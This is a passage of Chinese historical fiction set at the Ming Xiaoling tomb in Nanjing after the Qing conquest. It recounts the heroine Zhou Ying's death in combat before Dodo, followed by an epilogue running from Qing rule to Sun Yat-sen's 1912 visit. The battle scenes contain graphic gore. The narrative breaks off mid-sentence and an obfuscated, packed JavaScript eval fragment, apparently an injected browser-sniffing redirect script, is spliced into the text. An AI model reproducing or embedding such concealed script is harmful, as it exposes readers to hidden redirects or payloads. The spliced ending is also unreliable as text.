这些千千万万可爱可敬的人啊,他们捍卫的不是皇宫里的龙椅,不是太庙中的牌位。奋不顾身,只为给一个惨遭涂炭的道理,竖起最后的防线。 那道理叫礼仪廉耻,叫信义千秋;叫 “身体发肤,受之父母,不敢毁伤”;叫 “士可杀,不可辱“;叫生而为人,光明磊落;死得其所,重于泰山。 现在,轮到她了。 萨布素的弯刀再次劈来,势如奔雷。周瑛以攻代守,迎着刀光纵身跃起,将全身的力气、未尽的生命、所有的领悟,尽数灌入手中的祖传宝刀,向前挥去。 她要为那些以身殉道者,争一口万古长存的正气;用满腔热血,为名为华夏的卷轴续上承前启后的一笔。 马刀狠狠劈断冷月刀,断掉的刀身翻滚坠落,插入明楼下的湿土,微微震动,发出一声如泣如诉的哀鸣。 下一刻,萨布素的刀锋像滚烫的烙铁穿透了周瑛的胸口。 刹那间万籁俱寂。 萨布素脸上露出得意的笑容,也终于看清了眼前敌人的面容,惊讶地认出这满脸血污的明将竟是前日在长安街上,降奴用来献媚讨好他的民女! 他百思不解,当时慌张怯懦的弱女子,怎会翻做坚韧勇猛、殊死相搏的战士? 巨大的疑惑令他怔愣。 周瑛异常清醒镇定,强忍剧痛,果断伸出双手死死抱住萨布素的臂膀,拖着他一起从高高的明楼坠落。 耳边风声呼啸,夹杂着萨布素惊慌失措的惨嚎。 周瑛望着苍茫的紫金山,望着雨幕中依旧矗立的孝陵殿宇,微笑着奔向了属于她的圆满。 此时田子兴等人均已战死,田文琼身负数创强撑御敌。见周瑛与萨布素一同坠楼,他惊叫着转身扑过去。 “瑛娘!” 两把利剑一齐穿透他的背心,他扑倒在城砖上,视线穿越雨幕,牢牢系在爱妻倒在泥土中的身影上,嘴角溢出鲜血,手臂无力垂落,停止了呼吸。 周瑛的意识被粉身碎骨般的剧痛唤醒,发现自己只剩左臂还能动弹。她用手肘死死撑着地面支起上身,胸口的贯穿伤血如泉涌,在身下铺成红毯。腰部以下失去知觉,断裂的双腿露出白骨,凄惨模样犹如丢弃的报废玩偶。 楼上的战斗停止了。 多铎在侍卫簇拥下走向明楼。 周瑛的视野模糊,只看到一片黑影逼近,她抓起身侧湿润的泥沙,拼尽最后的力气掷向敌人。 清军们明知她已是油尽灯枯的废人,却难消戒惧,随着她投掷泥沙的手势一惊一乍,没人敢贸然上前。 多铎瞥了一眼旁边头骨爆裂,脑浆涂地的萨布素,他脸上仍保持着惊恐与疑惑的表情。 周瑛胸前的布甲破碎,众人清晰地辨认出她的性别。 清军们不由自主发出低徊的惊叹。 多铎脸上的惊异很快转为阴沉。他没有躲避那些溅到衣袍上的泥沙,静默端详这个奇女子。她脸上满是血污泥沙,即便在濒死之际双眼仍透着不屈的光芒,像燃到最后一刻的火星。 周瑛很快力竭,仰面瘫倒,雨水不断落在她的脸上、唇边,已不再寒冷。 她望着天空中翻滚的乌云,望着不断坠落的雨丝,眼里的光一点点黯下去,嘴角似乎还残留着一丝释然的笑意。 多铎盯着她的尸体,沉默许久,低喃:“想不到汉人的女子都这般英勇。” 这句话轻得像雨点,却透出难以掩饰的凝重。他隐隐担忧征服这片土地,征服这些骨头强硬的汉人,或许并非如他最初预想的那般顺利。 他拂了拂衣袍上的泥点,吩咐左右:“拟表呈送天子,请求朝廷拨款修复孝陵,遣官致祭。” 8. 山河铸国魂 南京一带大雨未歇,钱谦益枯坐在绛云楼上,呆呆望着楼外的街巷。 行人撑伞往来,一个身影格外扎眼。 那是个剃发的年轻人,没打伞,落汤鸡一般在街巷中央转圈,时而狂笑,时而痛哭,若瞥见哪个梳着辫子的男子经过,便立时眼迸凶光,猛扑上去。 “该死的老鼠尾巴!给我剪掉!剪掉!” 他狂吼着,举着一把雪亮的剪刀,狠命拽住对方的辫子。被袭男子惊叫挣扎,辫子已被剪下一截。 钱谦益望着这些闹剧,脸上波澜不兴,只感觉光溜溜的头皮泛起寒意。他默默伸手,拿起案边那顶清廷赏赐的满式小帽,轻轻戴在头上。 庭院里,柳如是立在回廊下,仰望铅灰色的天幕,她已不再惆怅,准备好去担负应尽的责任。 城中各处剃头棚内,众多汉人男子正痛哭着,颓丧着被清军剃去头发,随着发丝掉落,曾经的繁华渐渐走向荒芜。 山野小径中,逃难的江南百姓仍在漫无终点的漂泊,频频含泪回望不知归期的故园。 城内外的石榴花还在不断凋落,红如血,艳如霞,花魂英魂同归天地,唯有杜鹃语,年年说劫哀。 周家那尊赤金关公像正与无数被搜刮来的金器一道,在熔炉中受烈火炙烤。赤金迅速熔化成滚烫的汁液。昔日护佑忠良的神像到底装进了清廷的私囊。 可有些东西藏在人心里,永远熔不掉。 多铎命灵谷寺僧人修理明孝陵残损处,派遣内官与陵户负责守护。 此后康熙、乾隆二帝多次亲往孝陵祭拜,康熙更对朱元璋行 “三跪九叩” 的大礼。 满清统治者们深知,孝陵是汉人精神的象征,故而敬奉之,以此从精神上对汉人进行招安。 清朝为巩固统治,沿用了明朝的政治框架和社会礼制。他们砸碎了朱明王朝,夺取了统治,却也被这古老的华夏文化彻底征服,最终成为了中华文明的归顺者。 1912年2月15日 辛亥革命后,南京城终于挣脱两百余年的沉疴枷锁。 孙中山先生以中华民国临时大总统身份,率领国务卿士、文武将吏拜谒南京明孝陵。 凛凛寒风吹不动陵园内的苍松翠柏,石象生巍然伫立,记录数百年来的风霜雨雪。 中山先生立于朱元璋陵前,整理衣襟,深深鞠躬:“太祖当年驱除胡虏,恢复中华;今日我辈继志述事,终复河山,从此五族一体,建立共和,同享自由。” 阳光穿透云层,洒在陵前的石板路上,仿佛唤醒了那些沉睡的英魂。他们保家卫国的英姿,与百年后抗敌志士的身影在时光中重叠。 清室统治中国二百九十六载,汉满各族在碰撞中交融,于共生中传续。当外侮来犯,无数各族仁人志士秉持华夏忠义初心,用生命续写保家卫国的壮歌: 1841年镇海城头,蒙古族将领裕谦披甲执剑,面对英军炮轰死守不退,城破之际掷冠于地,高呼“宁为玉碎不为瓦全”,纵身跃入泮池殉国。 1842年,英军舰队进攻镇江,满族将领海龄率八旗驻防军死守城池,城破后自焚明志。 1904 年英军悍然入侵西藏, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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